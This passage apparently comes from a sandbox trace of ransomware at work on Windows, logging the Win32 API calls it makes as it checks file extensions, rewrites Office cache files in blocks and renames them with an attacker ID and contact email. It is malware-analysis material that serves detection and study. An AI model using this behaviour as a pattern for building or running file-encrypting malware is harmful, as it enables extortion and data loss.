(lpString1=".pdf", lpString2=".msi") returned 1 [0199.802] lstrlenW (lpString=".xls") returned 4 [0199.804] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0199.804] lstrlenW (lpString=".xlsx") returned 5 [0199.804] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0199.804] lstrlenW (lpString=".ppt") returned 4 [0199.804] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0199.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.804] lstrlenW (lpString=".zip") returned 4 [0199.804] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0199.804] lstrlenW (lpString=".rar") returned 4 [0199.804] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0199.804] lstrlenW (lpString=".bz2") returned 4 [0199.804] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0199.804] lstrlenW (lpString=".7z") returned 3 [0199.804] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0199.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.804] lstrlenW (lpString=".dbf") returned 4 [0199.804] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0199.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.805] lstrlenW (lpString=".1cd") returned 4 [0199.805] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0199.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.805] lstrlenW (lpString=".jpg") returned 4 [0199.805] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0199.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.805] lstrlenW (lpString=".doc") returned 4 [0199.805] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0199.805] lstrlenW (lpString=".docx") returned 5 [0199.805] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0199.805] lstrlenW (lpString=".pdf") returned 4 [0199.805] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0199.805] lstrlenW (lpString=".xls") returned 4 [0199.805] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0199.805] lstrlenW (lpString=".xlsx") returned 5 [0199.805] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0199.805] lstrlenW (lpString=".ppt") returned 4 [0199.805] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0199.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.805] lstrlenW (lpString=".zip") returned 4 [0199.805] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0199.805] lstrlenW (lpString=".rar") returned 4 [0199.805] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0199.805] lstrlenW (lpString=".bz2") returned 4 [0199.805] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0199.805] lstrlenW (lpString=".7z") returned 3 [0199.806] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0199.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.806] lstrlenW (lpString=".dbf") returned 4 [0199.806] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0199.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.806] lstrlenW (lpString=".1cd") returned 4 [0199.806] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0199.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.806] lstrlenW (lpString=".jpg") returned 4 [0199.806] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0199.806] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0199.806] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0199.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0199.806] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2513920) returned 1 [0199.806] CloseHandle (hObject=0x188) returned 1 [0199.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0199.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.807] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0199.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0199.807] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0199.807] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0199.807] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.179] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0200.179] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.241] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0200.241] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0200.241] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.270] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.270] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0200.690] SetEndOfFile (hFile=0x188) returned 1 [0200.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f23080 [0200.692] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0200.692] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0200.694] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0200.694] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0200.701] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0200.701] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0200.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f23080 | out: hHeap=0x4f0000) returned 1 [0200.705] CloseHandle (hObject=0x188) returned 1 [0202.579] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.579] lstrlenW (lpString=".doc") returned 4 [0202.579] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0202.579] lstrlenW (lpString=".docx") returned 5 [0202.579] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0202.579] lstrlenW (lpString=".pdf") returned 4 [0202.579] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0202.579] lstrlenW (lpString=".xls") returned 4 [0202.580] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0202.580] lstrlenW (lpString=".xlsx") returned 5 [0202.580] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0202.580] lstrlenW (lpString=".ppt") returned 4 [0202.580] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0202.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.580] lstrlenW (lpString=".zip") returned 4 [0202.580] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0202.580] lstrlenW (lpString=".rar") returned 4 [0202.580] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0202.580] lstrlenW (lpString=".bz2") returned 4 [0202.580] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0202.580] lstrlenW (lpString=".7z") returned 3 [0202.580] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0202.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.580] lstrlenW (lpString=".dbf") returned 4 [0202.580] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0202.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.581] lstrlenW (lpString=".1cd") returned 4 [0202.581] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0202.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.581] lstrlenW (lpString=".jpg") returned 4 [0202.581] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0202.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.581] lstrlenW (lpString=".doc") returned 4 [0202.581] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0202.581] lstrlenW (lpString=".docx") returned 5 [0202.581] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0202.581] lstrlenW (lpString=".pdf") returned 4 [0202.581] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0202.581] lstrlenW (lpString=".xls") returned 4 [0202.581] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0202.581] lstrlenW (lpString=".xlsx") returned 5 [0202.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0202.582] lstrlenW (lpString=".ppt") returned 4 [0202.582] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0202.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.582] lstrlenW (lpString=".zip") returned 4 [0202.582] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0202.582] lstrlenW (lpString=".rar") returned 4 [0202.582] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0202.582] lstrlenW (lpString=".bz2") returned 4 [0202.582] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0202.582] lstrlenW (lpString=".7z") returned 3 [0202.582] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0202.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.582] lstrlenW (lpString=".dbf") returned 4 [0202.582] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0202.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.582] lstrlenW (lpString=".1cd") returned 4 [0202.582] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0202.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0202.582] lstrlenW (lpString=".jpg") returned 4 [0202.582] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0202.583] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0202.583] lstrlenW (lpString="OutlkLR.cab") returned 11 [0202.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0202.583] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=14819276) returned 1 [0202.583] CloseHandle (hObject=0x188) returned 1 [0202.583] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0202.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.584] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0202.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0202.584] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0202.584] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.584] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0202.590] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.590] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0202.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0202.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.593] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0202.613] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.613] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0202.719] SetEndOfFile (hFile=0x188) returned 1 [0202.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f43090 [0202.722] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0202.722] WriteFile (in: hFile=0x188, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0202.723] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0202.723] WriteFile (in: hFile=0x188, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0202.724] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0202.724] WriteFile (in: hFile=0x188, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0202.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f43090 | out: hHeap=0x4f0000) returned 1 [0202.726] CloseHandle (hObject=0x188) returned 1 [0206.721] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0206.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.722] lstrlenW (lpString=".doc") returned 4 [0206.722] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString=".docx") returned 5 [0206.722] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.722] lstrlenW (lpString=".pdf") returned 4 [0206.722] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString=".xls") returned 4 [0206.722] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString=".xlsx") returned 5 [0206.722] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.722] lstrlenW (lpString=".ppt") returned 4 [0206.722] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.722] lstrlenW (lpString=".zip") returned 4 [0206.722] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString=".rar") returned 4 [0206.722] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString=".bz2") returned 4 [0206.722] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.722] lstrlenW (lpString=".7z") returned 3 [0206.722] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.722] lstrlenW (lpString=".dbf") returned 4 [0206.722] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.722] lstrlenW (lpString=".1cd") returned 4 [0206.722] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.722] lstrlenW (lpString=".jpg") returned 4 [0206.723] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.723] lstrlenW (lpString=".doc") returned 4 [0206.723] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString=".docx") returned 5 [0206.723] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.723] lstrlenW (lpString=".pdf") returned 4 [0206.723] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString=".xls") returned 4 [0206.723] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString=".xlsx") returned 5 [0206.723] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.723] lstrlenW (lpString=".ppt") returned 4 [0206.723] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.723] lstrlenW (lpString=".zip") returned 4 [0206.723] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString=".rar") returned 4 [0206.723] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.723] lstrlenW (lpString=".bz2") returned 4 [0206.723] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.723] lstrlenW (lpString=".7z") returned 3 [0206.723] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.723] lstrlenW (lpString=".dbf") returned 4 [0206.724] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.724] lstrlenW (lpString=".1cd") returned 4 [0206.724] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0206.724] lstrlenW (lpString=".jpg") returned 4 [0206.724] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.724] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0206.724] lstrlenW (lpString="Proof.msi") returned 9 [0206.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0206.724] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=875520) returned 1 [0206.725] CloseHandle (hObject=0x188) returned 1 [0206.725] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0206.725] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 